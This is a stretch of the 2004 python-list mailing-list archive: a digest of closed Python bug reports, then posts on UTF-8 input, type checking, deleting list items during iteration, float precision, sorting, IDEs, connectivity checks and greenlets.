http://python.org/sf/1020540 closed by rhettinger httplib.HTTPConnection sends extra blank line (2004-08-31) http://python.org/sf/1019956 closed by jhylton re.sub: two-digit group-reference hangs (2004-08-30) http://python.org/sf/1018815 closed by niemeyer re.finditer hangs on final empty match (2003-10-03) http://python.org/sf/817234 closed by niemeyer Make Problem on HPUX (2004-07-14) http://python.org/sf/991125 closed by plusk Import random fails (2004-09-03) http://python.org/sf/1021890 closed by rhettinger Regular expression failure of the sre engine (2003-07-23) http://python.org/sf/776311 closed by niemeyer wrong options are set to python.exe (2004-09-03) http://python.org/sf/1022010 closed by loewis wrong options are set to python.exe (2004-09-03) http://python.org/sf/1022010 closed by loewis re.match(), re.MULTILINE and "^" broken (2004-09-03) http://python.org/sf/1022030 closed by effbot Bad examples of gettext.translation (2004-09-04) http://python.org/sf/1022152 closed by jlgijsbers Solaris: reentrancy issues (2004-08-29) http://python.org/sf/1018492 closed by loewis including Python.h redefines _POSIX_C_SOURCE (2004-08-27) http://python.org/sf/1017450 closed by loewis inspect.getmodule symlink-related failur (2002-06-18) http://python.org/sf/570300 closed by jlgijsbers __metaclass__ in locals is ignored (2004-08-30) http://python.org/sf/1019048 closed by bcannon split method documentation can be improved (2004-02-21) http://python.org/sf/901654 closed by rhettinger random.shuffle should restrict the type of its argument (2004-09-05) http://python.org/sf/1022880 closed by rhettinger Generator exps fail with large value of range (2004-09-06) http://python.org/sf/1022912 closed by rhettinger make test fails on HP-UX11i (2004-09-06) http://python.org/sf/1022951 closed by rhettinger binascii.a2b_hqx("") raises SystemError (2004-09-06) http://python.org/sf/1022953 closed by rhettinger mimetypes add_type has bogus self parameter (2004-08-23) http://python.org/sf/1014022 closed by doerwalter Example does not match diagram. (2004-09-06) http://python.org/sf/1023359 closed by akuchling "rich comparison'' methods hide stack overflow (2004-08-30) http://python.org/sf/1019129 closed by rhettinger script which sets random.seed still returns random value (2004-09-07) http://python.org/sf/1023453 closed by rhettinger test__locale fails (2004-09-07) http://python.org/sf/1023798 closed by bcannon WinCVS doesn't recognize 2.4a3 (2004-09-08) http://python.org/sf/1024427 closed by loewis os.system segmentation fault (2004-08-25) http://python.org/sf/1015937 closed by nnorwitz struct.calcsize() behaves strangely with short type (2004-09-08) http://python.org/sf/1024669 closed by mwh RE engine internal error with LARGE RE: scalability bug (2003-12-10) http://python.org/sf/857676 closed by effbot "build" target doesn't check umask (2004-06-22) http://python.org/sf/977937 closed by melicertes tkinter.py invalid number of parameter for _tkinet.create (2004-09-10) http://python.org/sf/1025599 closed by loewis X to the power of 0 may give wrong answer (2004-09-10) http://python.org/sf/1025872 closed by tim_one Unspecific errors with metaclass (2004-08-23) http://python.org/sf/1014215 closed by rhettinger "ASCII" in doc section "String literals" (2004-09-10) http://python.org/sf/1026038 closed by loewis Confusing error message when subclassing from invalid base (2004-09-11) http://python.org/sf/1026269 closed by mwh iso-latin-1 strings and functions lower & upper (2004-09-11) http://python.org/sf/1026480 closed by kowaltowski crash error in glob.glob; directories with brackets (2003-05-15) http://python.org/sf/738361 closed by progoth HardwareRandom should be renamed OSRandom (2004-09-13) http://python.org/sf/1027105 closed by rhettinger date-datetime comparison (2004-09-14) http://python.org/sf/1028306 closed by tim_one Python 2.3.4 broken? (2004-09-15) http://python.org/sf/1028447 closed by mwh New / Reopened RFE __________________ proposed struct module format code addition (2004-09-06) http://python.org/sf/1023290 opened by Josiah Carlson urllib2 http auth (2004-09-10) http://python.org/sf/1025540 opened by Tim Nelson From theller at python.net Wed Sep 29 15:49:21 2004 From: theller at python.net (Thomas Heller) Date: Wed, 29 Sep 2004 21:49:21 +0200 Subject: interactive help on string functions - howto References: <415aede9$0$24598$ba620e4c@news.skynet.be> Message-ID: <acv8luta.fsf@python.net> Helmut Jarausch <jarausch at skynet.be> writes: > Hi, > > entering > help('rstrip') > or > help('ljust') > > into IDLE's shell window I only get > no Python documentation found ... > > Am I missing something? If you install the Python HTML pages in the correct place, it will indeed work this way. Or you press F1, and enter rstrip in the CHM search box (on Windows). Thomas From hyeshik at gmail.com Thu Sep 30 03:10:40 2004 From: hyeshik at gmail.com (hyeshik at gmail.com) Date: Thu, 30 Sep 2004 16:10:40 +0900 Subject: utf-8 in interactive python session In-Reply-To: <a59726a4.0409292236.53c1f536@posting.google.com> References: <a59726a4.0409292236.53c1f536@posting.google.com> Message-ID: <4f0b69dc040930001020af019c@mail.gmail.com> The problem is fixed in Python 2.4a2 and its later versions. Please try one of them. :) Hye-Shik On 29 Sep 2004 23:36:48 -0700, Luke <luke at deller.id.au> wrote: > Python doesn't seem to read UTF-8 properly from an interactive > session. Am I doing something wrong? > > luked at sor ~ $ echo $LANG > en_AU.UTF-8 > luked at sor ~ $ python > Python 2.3.4 (#1, Aug 12 2004, 17:23:54) > [GCC 3.4.1 (Gentoo Linux 3.4.1, ssp-3.4-2, pie-8.7.6.3)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. > >>> import sys > >>> print sys.getdefaultencoding() > utf-8 > >>> u'π' # embedded greek letter 'pi' (possibly mangled by > google groups news client), should return u'\u03c0' > u'\xcf\x80' > >>> u'\u03c0'.encode() > '\xcf\x80' > >>> From hyperbob at walla.com Fri Sep 10 13:37:10 2004 From: hyperbob at walla.com (hyperbob) Date: 10 Sep 2004 10:37:10 -0700 Subject: shutdown in windows Message-ID: <c0c6c733.0409100937.1d313b1d@posting.google.com> Hello, 1. Does anyone know how do I know when windows tries to kill my process and what I can do to reduce the damage it will cause? Do I have some time gap to finish the process cleanly? I understood it's somehow related to catching the WM_CLOSE message from windows but I couldn't find an explanation of a mechanism that allows me to do so. My process is a background process with no gui or console window, but I would also like to be able to do so in a console application. 2. Are there any useful general traditional techniques for making a process be able to deal with an unclean termination, or is it completely different for each case? Thanks, Bob From kahanpaa at sky1.astro.helsinki.fi Tue Sep 21 16:34:03 2004 From: kahanpaa at sky1.astro.helsinki.fi (Jere Kahanpaa) Date: 21 Sep 2004 20:34:03 GMT Subject: New to Python References: <a1ff320f.0409211158.29e6256b@posting.google.com> <ciq1kk$1jf$05$2@news.t-online.com> <YU%3d.179$Xy5.164@fe61.usenetserver.com> Message-ID: <ciq37r$95m$1@oravannahka.helsinki.fi> Jimmie Webb <webbsoft2 at alltel.net> wrote: > I tried x = float(nCost) but keep getting an error > ValueError: Invalid literal for float(): EATE TA Come on, do some basic debugging! Insert 'print repr(nCost)' before the conversation and look at what you really are feeding to the float() function. Well, we already now it: at some point you feed the string 'EATE TA' to float(), and it obviously cannot convert this to a number. Jere -- Lord, make my words as sweet as honey, for one day I may have to eat them - Daryl Benson From peter at engcorp.com Sun Sep 26 21:36:18 2004 From: peter at engcorp.com (Peter Hansen) Date: Sun, 26 Sep 2004 21:36:18 -0400 Subject: "False exceptions?" (was Re: theme of the week: tools In-Reply-To: <mfydnUd5Idex1srcRVn-pQ@rogers.com> References: <mailman.3802.1095960335.5135.python-list@python.org><QcudnRef363plc7cRVn-vg@powergate.ca> <41542230.3070808@bellsouth.net> <mailman.3864.1096040439.5135.python-list@python.org> <mfydnUd5Idex1srcRVn-pQ@rogers.com> Message-ID: <tpudnXILROwO88rcRVn-sw@powergate.ca> Dan Perl wrote: > I debugged one of my > scripts (that I knew it works) and got an unexplainable exception. It turns > out that Wing IDE falsely detects some exceptions. They know about it and > they suggest that if you KNOW that it's a false exception you should flag it > to be ignored. Yes, Wingware people, I know it's a false exception, but What exactly is a "false exception"? I have never heard of such a thing, and can't imagine what it might be. Python raises exceptions, they are subclasses of Exception or (old-style) strings, they have tracebacks, they come from a variety of sources, there's lots of things to know about exceptions but "falseness" is not something about which I'm aware... -Peter From Cameron at Phaseit.net Sat Sep 25 11:31:06 2004 From: Cameron at Phaseit.net (Cameron Laird) Date: Sat, 25 Sep 2004 15:31:06 +0000 Subject: Divisions of labor In-Reply-To: <4151C3A9.6050505@bellsouth.net> References: <mailman.3639.1095771048.5135.python-list@python.org> <1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com> <4tg822-bmd.ln1@lairds.us> <1gkiywn.1ydvxr62u3q0dN%aleaxit@yahoo.com> <tkl822-p6i.ln1@lairds.us> <4151C3A9.6050505@bellsouth.net> Message-ID: <20040925153106.GA3165@lairds.us> On Wed, Sep 22, 2004 at 02:25:45PM -0400, Jeremy Jones wrote: . . . > I hope that my following comments don't sound presumptuous or > antagonistic. This topic really interests me and I'd like to raise a > couple of questions about the above discussion for my own sake. Let me > assert up front that I am _far_ from a debugger guru. I'm just > starting to tinker around with it lately. My previous debugging > techniques centered around a bunch of "print" statements or log entries, > etc - but, I must say, they were fairly effective. > > Is it possible that this is a case of "what you don't know, you don't > know that you don't know"? Meaning, if you aren't (in this case) a > debugger guru, you don't know how much (more) you would use the debugger > for non-catastrophic bugs and how much more productive it would make you > (again, for non-catastrophic bugs, or things that aren't even bugs)? > All of programming isn't debugging, so becoming a master of the debugger > to the detriment of some other aspect of programming (which Alex could > fill in here with much more finesse than I could) is, in my opinion, a > mistake. But I just wonder how much I'm missing by not being as > proficient with the debugger. I guess the same could be said regarding > other tools - maybe even <duck> IDEs <run>. > > Another question that I'd like to raise is, does a one week investment > in time necessarily add up to one week in time? Meaning, if you > determine that you would like to become more adept at the debugger and > decide that you're going to spend your spare moments with it when things > are slow and there is little/nothing to do anyway, do you really have > anything invested in it compared to your productive activities? > Especially if the spare moments (which would have been spent surfing > Slashdot) result in an improvement of productivity immediately. I'm not > asserting that this is the case - just raising the question. > > Anyway, hope I don't sound like a butt on this. Both of my questions > are, interestingly, non-quantifiable. I guess I can empathize with > Cameron's statement: > > I have an intense interest in this narrative, and little > ability yet to articulate why. > > I dunno. Maybe it's because I just started fumbling around with pdb and > this topic just struck a chord within me. Maybe it's because I've got a > personality flaw where I'm willing to "waste" spare time on learning > things that I feel _may_ (not _will_ - _may_) help me think in different > ways. Currently, I'm on a kick of wanting to "get" functional > programming. I don't know why, but I just feel like when I "get" it, > it'll help me think about other things in different and better ways. > Maybe that's just Eric S. Raymond's comments on Lisp floating around in > my head - or maybe David Mertz's articles on functional programming. > > Jeremy Jones My newsfeed appears erratic; delays in my replies are not editorial comments. Mr. Jones, I'm unoffended. I once *was* a debugger guru (expert in several debuggers, in fact); those are skills I've chosen to let lapse. Nowadays, I feel more benefit in thinking about, for example, monads and categories. I don't know what else to say. I am ever on the lookout for advantages a clever debugger will give me. It's simply been years since I've noticed any. From my.spamtrap at verizon.net Thu Sep 2 22:57:22 2004 From: my.spamtrap at verizon.net (Roland Hutchinson) Date: Thu, 02 Sep 2004 22:57:22 -0400 Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <opsdpdzglzpqzri1@mjolner.upc.no> <slrncjep0f.oa.amajorel@vulcain.knox.com> <opsdpprvxppqzri1@mjolner.upc.no> <slrncjf52a.oa.amajorel@vulcain.knox.com> <opsdp09czgpqzri1@mjolner.upc.no> <h0afj09mbdtleke0ughuntobho8f12o8ck@4ax.com> <opsdp4cjnapqzri1@mjolner.upc.no> Message-ID: <2pq4sjFocngsU1@uni-berlin.de> In article <opsdp4cjnapqzri1 at mjolner.upc.no> on Thursday 02 September 2004 19:46, John Thingstad wrote: > oops. No Pauling was a nobel prize winning chemist. And a nobel prize winning peace activist. -- Roland Hutchinson Will play viola da gamba for food. NB mail to my.spamtrap [at] verizon.net is heavily filtered to remove spam. If your message looks like spam I may not see it. From brian at rk-speed-rugby.dk Tue Sep 28 04:28:57 2004 From: brian at rk-speed-rugby.dk (Brian Elmegaard) Date: 28 Sep 2004 10:28:57 +0200 Subject: pyswf References: <mailman.3934.1096208459.5135.python-list@python.org> Message-ID: <uacva94qe.fsf@rk-speed-rugby.dk> Ksenia Marasanova <ksenia at ksenia.nl> writes: > library, with recently added Python interface (pyswf). This page > http://www.quiss.org/swftools/examples.html contains view examples of > pyswf usage. Looks very interesting. Thanks for the pointer. -- Brian (remove the sport for mail) http://www.et.dtu.dk/staff/be From Scott.Daniels at Acm.Org Wed Sep 22 17:51:58 2004 From: Scott.Daniels at Acm.Org (Scott David Daniels) Date: Wed, 22 Sep 2004 14:51:58 -0700 Subject: detecting variable types In-Reply-To: <y%l4d.470$zG1.387@newsread3.news.pas.earthlink.net> References: <cisjhb$6kr$1@news-int.gatech.edu> <y%l4d.470$zG1.387@newsread3.news.pas.earthlink.net> Message-ID: <4151f867$1@nntp0.pdx.net> Byron wrote: > Hi Jay, > > You can detect the type of a variable by using the "types" module that > comes with Python. Here is how to use it: > > > >>> import types > >>> name = "Steven" > >>> if type(name) is types.StringType: > print "Yes, name is a string." > > > Hope this helps, > > Byron > --- > > > Jay wrote: > >> I'm sure this is a really dumb question, but how do you detect a variable >> type in Python? >> >> For example, I want to know if the variable "a" is a list of strings or a >> single string. How do I do this? >> >> If you must switch on the type, use something like: ... if isinstance(vbl, (string, unicode)): vbl = [vbl] for element in vbl: ... There are many more kinds of iterables than kinds of strings, and you'll get fewer surprises with the above. -Scott David Daniels Scott.Daniels at Acm.Org From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Fri Sep 24 16:20:13 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Fri, 24 Sep 2004 21:20:13 +0100 Subject: Why not FP for Money? In-Reply-To: <7xzn3fo4iu.fsf@ruckus.brouhaha.com> References: <cc887c1d.0409202325.76ec2227@posting.google.com> <mailman.3775.1095939700.5135.python-list@python.org> <Xns956D83A8D1E7duncanrcpcouk@127.0.0.1> <mailman.3781.1095942759.5135.python-list@python.org> <civ705$4kl$1@panix1.panix.com> <mailman.3809.1095967700.5135.python-list@python.org> <1gkm1wt.1twm02s1cr3m7hN%aleaxit@yahoo.com> <7xk6ukw149.fsf@ruckus.brouhaha.com> <1gkm3u0.1s58vuhduaeN%aleaxit@yahoo.com> <7xpt4c3v3w.fsf@ruckus.brouhaha.com> <ad052e5c.0409240925.50e21e44@posting.google.com> <7xzn3fo4iu.fsf@ruckus.brouhaha.com> Message-ID: <cj1vi0$chp$1@pegasus.csx.cam.ac.uk> Paul Rubin wrote: > danb_83 at yahoo.com (Dan Bishop) writes: > >>str(x), however, is meant to return a "nice" string representation, >>and so it only uses '%.12g' % x (ignoring 5 "noise" digits at the end >>of repr(x)). > > Thanks. I didn't realize that 'nice' means 'inaccurate': No, in this case, "nice" means "less precise." You frequently cannot get the kind of accuracy in floating point numbers that you seem to want. > >>> a=1e12+1 > >>> b=a-1e12 > >>> b > 1.0 > >>> str(a) > '1e+12' > >>> float(str(a))-1e12 > 0.0 If you had chosen different values, you would have gotten differing results even without a str/float conversion: >>> a=1e11+0.1 >>> b=a-1e11 >>> b 0.100006103515625 >>> str(a) '100000000000.0' >>> float(str(a))-0.1 99999999999.899994 >>> 0.1 0.10000000000000001 Fun! -- Michael Hoffman From peter at engcorp.com Wed Sep 1 08:34:58 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 01 Sep 2004 08:34:58 -0400 Subject: Instruction at "0x00FC3D70" use memory address "0x00000000". Can't be "read". In-Reply-To: <Xns95575468C136EaskariaddressNonVali@207.35.177.135> References: <Xns95575468C136EaskariaddressNonVali@207.35.177.135> Message-ID: <KaCdnQsNs7tuXKjcRVn-vA@powergate.ca> Askari wrote: > Yesterday, ALL code in python work and nothing when I close(finish) a code. > Today, when I close, some raise this windows error : > > Instruction at "0x00FC3D70" use memory address "0x00000000". Can't be > "read". > Click on "OK" to exit program. > > Why this error, today and not before today? Does it do this after you reboot the computer? (You're using Windows, right?) -Peter From dperl at rogers.com Wed Sep 8 13:29:16 2004 From: dperl at rogers.com (Dan Perl) Date: Wed, 08 Sep 2004 17:29:16 GMT Subject: Remove items from a list References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com> <mailman.3029.1094638477.5135.python-list@python.org> <9YvPBls/KvrF089yn@the-wire.com> <0oF%c.270317$UTP.260161@twister01.bloor.is.net.cable.rogers.com> <chnb4k$3qn$05$1@news.t-online.com> Message-ID: <MjH%c.464$hax.309@news04.bloor.is.net.cable.rogers.com> Sorry, I missed that. And yes, that should be the problem. It's *A* problem, for sure. Always a bad idea to modify the structure of a list (deleting or inserting items) while iterating through it, but it's so easy to forget that. Creating another list from the first one by filtering or with a list comprehension should be the preferred solution, unless the intention is to have this list used in more than one place and have the changes reflected in all those places. Dan "Peter Otten" <__peter__ at web.de> wrote in message news:chnb4k$3qn$05$1 at news.t-online.com... > Dan Perl wrote: > > > But Stan says he tried something like that (see the comment in his code) > > and > > it was still not working. I would still need a more complete code example > > to reproduce the problem and figure out what went wrong. > > The following example might make it clearer: > > >>> files = "a.dbf b.dbf x.txt".split() > >>> for index, fn in enumerate(files): > ... print "checking", fn > ... if fn.endswith(".dbf"): > ... print "deleting", files[index] > ... del files[index] > ... > checking a.dbf > deleting a.dbf > checking x.txt > >>> > > The iterator operating on the files list keeps track of its current position > in the list by a simple index and is unaware of any changes to that list. > If you delete an item _before_ or equal to that index position it will > still be incremented on the next pass of the for loop, and therefore you > never see item[n] that has become item[n-1] effectively by deleting one of > its predecessors. > To avoid this kind of trouble, Mel iterates over the list in reverse order - > deleting items _after_ the current position cannot confuse the iteration. > > Peter > From robin.siebler at palmsource.com Sat Sep 11 20:40:43 2004 From: robin.siebler at palmsource.com (Robin Siebler) Date: 11 Sep 2004 17:40:43 -0700 Subject: Best way to compare the contents of two directories Message-ID: <95c29a5e.0409111640.6980271f@posting.google.com> I have two directory trees that I want to compare and I'm trying to figure out what the best way of doing this would be. I am using walk to get a list of all of the files in each directory. I am using this code to compare the file lists: def compare_files(first_list, second_list, first_dir, second_dir): missing = in_first_only(first_list, second_list) for item in missing: index = first_list.index(item) print first_list[index] + ' does not exist in ' + second_dir[index] first_list.pop(index); first_dir.pop(index) return first_list, second_list, first_dir, second_dir However, before I actually compare the files, I want to compare the directories and if a directory is mising in either set, I want to report it: dir_list_a = ['d:\\results\\foldera\\','d:\\results\\folderb\\','d:\\results\\folderc\\'] dir_list_b = ['c:\\results\\foldera\\','c:\\results\\folderb\\'] output: 'folderc' exists in d:\results but not in c:\results I am using splitall (from the Python Cookbook) to split the paths into there parts and appending this to a list, but I can't figure out the best way to compare the contents of the resulting 2 lists and I think I am starting to make things *too* complicated: def splitall(path): """ Source: Python Cookbook Credit: Trent Mick Split a path into all of its parts. """ allparts = [] while 1: parts = os.path.split(path) if parts[0] == path: allparts.insert(0, parts[0]) break elif parts[1] == path: allparts.insert(0, parts[1]) break else: path = parts[0] allparts.insert(0, parts[1]) return allparts After using this, I end up with this: dir_list_a = [['d:\\', 'results', 'foldera', 'd:\\', 'results', 'folderb', 'd:\\', 'results', 'folderc']] dir_list_b = [['d:\\', 'results', 'foldera', 'd:\\', 'results', 'folderb']] From aleaxit at yahoo.com Wed Sep 1 05:15:30 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 11:15:30 +0200 Subject: about presicion References: <mailman.2682.1093974364.5135.python-list@python.org> Message-ID: <1gjfklx.1i0pmkjia472tN%aleaxit@yahoo.com> Batista, Facundo <FBatista at uniFON.com.ar> wrote: > [mensanator at aol.com] > > #- What I meant was the OP can't compare Decimal and gmpy unless he has > #- a version of gmpy that runs in 2.4. Or has a version of Decimal that > #- runs in 2.3. > > Decimal is designed to work in Py2.3 and it will be maintained that way. I think that's an excellent policy -- Python 2.3 will no doubt remain widely used for a long time to come. I think it would be nice if Decimal was packaged up with its own docs for easy download and install into an existing 2.3 installation, then... make life as easy as possible for 2.3 users who need to do some decimal arithmetic! Alex From adalke at mindspring.com Sat Sep 18 01:02:17 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sat, 18 Sep 2004 05:02:17 GMT Subject: PyYaml? In-Reply-To: <2IO2d.1086$HH5.1025@trndny05> References: <2IO2d.1086$HH5.1025@trndny05> Message-ID: <tjP2d.3590$gG4.3344@newsread1.news.pas.earthlink.net> Chris S. wrote: > Is there any benefit to Pickle over YAML? Given that Pickle is insecure, > wouldn't it make more sense to support a secure serialization format, > one that's even readable to boot, such as YAML? There's even a pure > Python implementation at www.pyyaml.org Looking at the PyYaml docs, under "limitations" ] PyYaml converts Python builtin types bidirectionally, and converts ] instances unidirectionally (although with directives eg from_yaml ] and to_yaml it can do this bidirectionally). When YAMLizing an ] instance, PyYaml serializes only its instance data (its '.dict'), ] with no meta-information about which class it came from. Add support for restoring an arbitrary class and you end up with exactly the same security problems pickle has. Also, I'll guess that it doesn't handle Python's new __slots__ since it only mentions __dict__. Andrew dalke at dalkescientific.com From peter at engcorp.com Sun Sep 26 15:14:49 2004 From: peter at engcorp.com (Peter Hansen) Date: Sun, 26 Sep 2004 15:14:49 -0400 Subject: regular expression for integer and decimal numbers In-Reply-To: <f23116.0409260913.7e36e5f7@posting.google.com> References: <f23116.0409231651.7aeb19c0@posting.google.com> <pbadnZrDHOinY87cRVn-jg@powergate.ca> <f23116.0409251213.6fcee6c5@posting.google.com> <jfudnfjxPYD6vMvcRVn-uw@powergate.ca> <f23116.0409260913.7e36e5f7@posting.google.com> Message-ID: <FfydnQc4fL23iMrcRVn-og@powergate.ca> gary wrote: > Peter Hansen <peter at engcorp.com> wrote in message news:<jfudnfjxPYD6vMvcRVn-uw at powergate.ca>... > >>Good example of the input. Now all you need to do is tell >>us exactly what kind of output you would expect to come >>from the routine which you seek. ;-) > > Well for that particular example something of the form... > > Cleveland at Cincinnati +8 > > would be nice ;-) I know nothing about American football except that it isn't played with a puck, so I don't think I get the joke... -Peter From adalke at mindspring.com Tue Sep 21 17:29:42 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Tue, 21 Sep 2004 21:29:42 GMT Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: <mailman.3683.1095800082.5135.python-list@python.org> References: <864d370904092109509df67ee@mail.gmail.com> <loom.20040921T192348-961@post.gmane.org> <20040921173455.GB2891@unununium.org> <loom.20040921T193847-890@post.gmane.org> <mailman.3666.1095791375.5135.python-list@python.org> <XO%3d.1684$g42.1293@newsread3.news.pas.earthlink.net> <mailman.3683.1095800082.5135.python-list@python.org> Message-ID: <a314d.1745$g42.320@newsread3.news.pas.earthlink.net> Carlos Ribeiro wrote: > Given all the arguments, I'm changing my approach to the sorting > problem. My proposal is that sortable objects should provide a __key__ > method. class Filename: def __init__(self, filename): self.filename = filename def __cmp__(self, other): x = cmp(os.path.getsize(self.filename), os.path.getsize(other.filename)) if x != 0: return x my_file = open(self.filename, "rb") other_file = open(other.filename, "rb") while 1: my_read = xfile.read(8192) other_read = yfile.read(8192) x = cmp(my_read, other_read) if x != 0: return x if not other_read: return 1 if not my_read: return -1 filenames = map(Filename, ["/etc/passwd", "/home/dalke/file.txt", ...]) filenames.sort() sorted_filenames = [x.filename for x in filenames] How would I do that with a __key__? The only solution would be to read the contents of all the files into memory. Andrew dalke at dalkescientific.com From jepler at unpythonic.net Tue Sep 21 09:23:54 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Tue, 21 Sep 2004 08:23:54 -0500 Subject: python ides In-Reply-To: <cip735$e01$1@sea.gmane.org> References: <cip735$e01$1@sea.gmane.org> Message-ID: <20040921132353.GE4934@unpythonic.net> That's all very nice, but is it keystroke compatible with vim (including the obscure stuff)? Will it run in a terminal? Does it meet the DFSG, or any other important definition of "free software" or "open source software"? How are the memory footprint and startup time? Emacs users may raise many of the same objections. I'm sure there are lots of things you really love in this IDE, and maybe things I would not mind having in my current editor, but quite frankly all these stupid closed-source GUI programs which force me to re-learn the task of editing files don't interest me one bit. I'm very happy that others have access to their "IDE"s, and I try to keep silent when IDE debates rage. So please stop suggesting that vi and emacs users should change and just let me keep writing programs the way I have for the last 10 years, because I'm quite happy with it. Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: <http://mail.python.org/pipermail/python-list/attachments/20040921/a6b9c3f4/attachment.sig> From godoy at ieee.org Fri Sep 17 10:37:54 2004 From: godoy at ieee.org (Jorge Godoy) Date: Fri, 17 Sep 2004 11:37:54 -0300 Subject: up with PyGUI! References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <m3pt4nwa84.fsf@g2ctech.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <m37jqvvypt.fsf@g2ctech.com> <1gk7753.1c973iatj1rtuN%aleaxit@yahoo.com> <m3ekl1398l.fsf@g2ctech.com> <1gk91v9.1k6244t1tmaymsN%aleaxit@yahoo.com> Message-ID: <m3oek5yn99.fsf@g2ctech.com> aleaxit at yahoo.com (Alex Martelli) writes: > You like it and use it when you write software yourself, yet you > expressed the desire that Qt didn't, so you could use it when you write > software that's not free. "Do unto others as you would have others do > unto you" seems a fundamental, reasonable principle of fairness: aren't > you violating it here, by using a license you wish others didn't use? I don't see where, since all I said was that I wantd to *pay* less. I want it free when I write free software (in both senses of free here, either alone or combined). I already have saved a lot of money by using free languages/compilers to write commercial software but if they costed a fair amount, then I'd pay for it. I don't think that 3 months os a worker's salary is fair for any software. Here, market segmentation would be useful :-) (/me runs!) Be seeing you, -- Godoy. <godoy at ieee.org> From f.geiger at vol.at Thu Sep 30 01:57:39 2004 From: f.geiger at vol.at (F. GEIGER) Date: Thu, 30 Sep 2004 07:57:39 +0200 Subject: Calling (C)Python code from Java: Is it JPype? References: <cjeem1$5h9$1@newshispeed.ch> <1DI6d.223$j5.307837@weber.videotron.net> Message-ID: <cjg70t$gun$1@newshispeed.ch> "Steve Menard" <foo at bar.com> schrieb im Newsbeitrag news:1DI6d.223$j5.307837 at weber.videotron.net... <snip/> > So, what I would do is have Python be the "host", the controller, > calling the JAVA-built GUI and registering listeners. JPype does not > allow subclassing of Java classes in python, but you can crerate JProxy > that "implement" any Java interface. The standard idiom for Java event > and callbacks is based on the use of interfaces anyway. In fact, baring > the very rare cases where Swing requires subclasses, you could crerate > your whole GUI using Swing and not writing a single line of Java. Just to be sure that I got you right: I'd write the GUI things in Java and hook the Python stuff into the GUI by implementing listeners directly or by implementing interfaces used by the listeners in Python (sorry, yet I'm not very experienced in Java). For me this sounds like what I want to have: The GUI in a compiled lang, the gist in Python. If so, I'll give it a try. > > Steve > Many thanks, Steve! Cheers Franz From jzgoda at gazeta.usun.pl Sun Sep 19 04:49:21 2004 From: jzgoda at gazeta.usun.pl (Jarek Zgoda) Date: Sun, 19 Sep 2004 08:49:21 +0000 (UTC) Subject: Determining if a client PC has an Internet connection References: <mailman.3489.1095578305.5135.python-list@python.org> <cijf4k$ona$2@atlantis.news.tpi.pl> <fcvydralxj0.dlg@thorstenkampe.de> Message-ID: <cijh6h$kto$1@nemesis.news.tpi.pl> Thorsten Kampe <thorsten at thorstenkampe.de> pisze: >>> Is there any way to reliably determine the state of the client's >>> internet connectivity? >> >> No, there's no such way. > > I think there has to be (or at least there is a method that many > coders use because "testing if you're online" is a very frequent > problem). There has to be, but isn't. I often see this question on many forums with single answer. Let me cite ICS FAQ: """ There is no perfect solution. Why? Because the Internet is just another network. Your computer does not distinguish between LAN and Internet. They are both networks. One of them just happens to be very big. The Internet is no different to your local network. It is just a matter of size. Think about your question. "Am I connected to the Internet?". Try rephrasing your question to what you really want to ask. "Can I connect to a specific remote host?" With the question worded like this, you can start to tackle the problem. How do you find out if you can connect to the remote host? Try to connect. Simple as that. If the connection attempt fails, there is no path between you and the remote host or the remote host is refusing connections. But, I hear you cry, I do not want the auto-dial the pop up. How do we get around this? Ask the user how to make a connection. We see this all the time in other Internet applications. Outlook Express, WinAmp, etc. They ask the user what sort of network connection they have. From this information, the applications can make the best choice about how to connect to a remote host. There is no proof way. However some things can help. There is an InternetGetConnectedState function in the WinINet.DLL that returns true if it detects a connection to the internet. However, the only thing you can be sure about when using this funtion is that the computer will not start dialing and not pop up any dialog box when the function returned true and you afterwards try to do anything on the internet. In some cases the function may return false although the computer is connected. """ Although it is Win32-only. -- Jarek Zgoda http://jpa.berlios.de/ From davebrok at soda.csua.berkeley.edu Tue Sep 14 13:00:07 2004 From: davebrok at soda.csua.berkeley.edu (David Pokorny) Date: Tue, 14 Sep 2004 10:00:07 -0700 Subject: Greenlets: where are they now??? References: <foadnUs_VtNpFdncRVn-jQ@lmi.net> <x6SdnVJ8pp4xC9ncRVn-rQ@powergate.ca> <ZaCdnQBXf-iU2djcRVn-hA@lmi.net> <29Cdnar3ZOqUFtjcRVn-pg@powergate.ca> <BqqdnY4Yhf-d_9vcRVn-sw@lmi.net> <O8ydnWISdtpzWtvcRVn-gw@powergate.ca> Message-ID: <QoKdnctBgM6NudrcRVn-jQ@lmi.net> "Peter Hansen" <peter at engcorp.com> wrote in message news:O8ydnWISdtpzWtvcRVn-gw at powergate.ca... > I don't > believe the greenlets approach would necessarily guarantee that, > either, since there are bytecodes that can consume unbounded > amounts of time. > > You've described the characteristics that you think your > solution requires, but still not the actual problem. Here's the idea: the executions I want to step through are bots that are competing, 1 on 1, in a mathematical game (or otherwise, perhaps simulated tag). Here is a good (and old) example http://soda.csua.berkeley.edu/~davebrok/knobeln.txt To answer your first point, although I do not write the bot code, anyone can look at it, and in particular anyone can verify that no "cheating" occurs along the lines of performing serious number crunching in a single bytecode (via a C extension---AFAIK this is the main loophole in the unbounded-execution-time-for-a-single-bytecode department). David From indigo at bitglue.com Fri Sep 10 15:10:09 2004 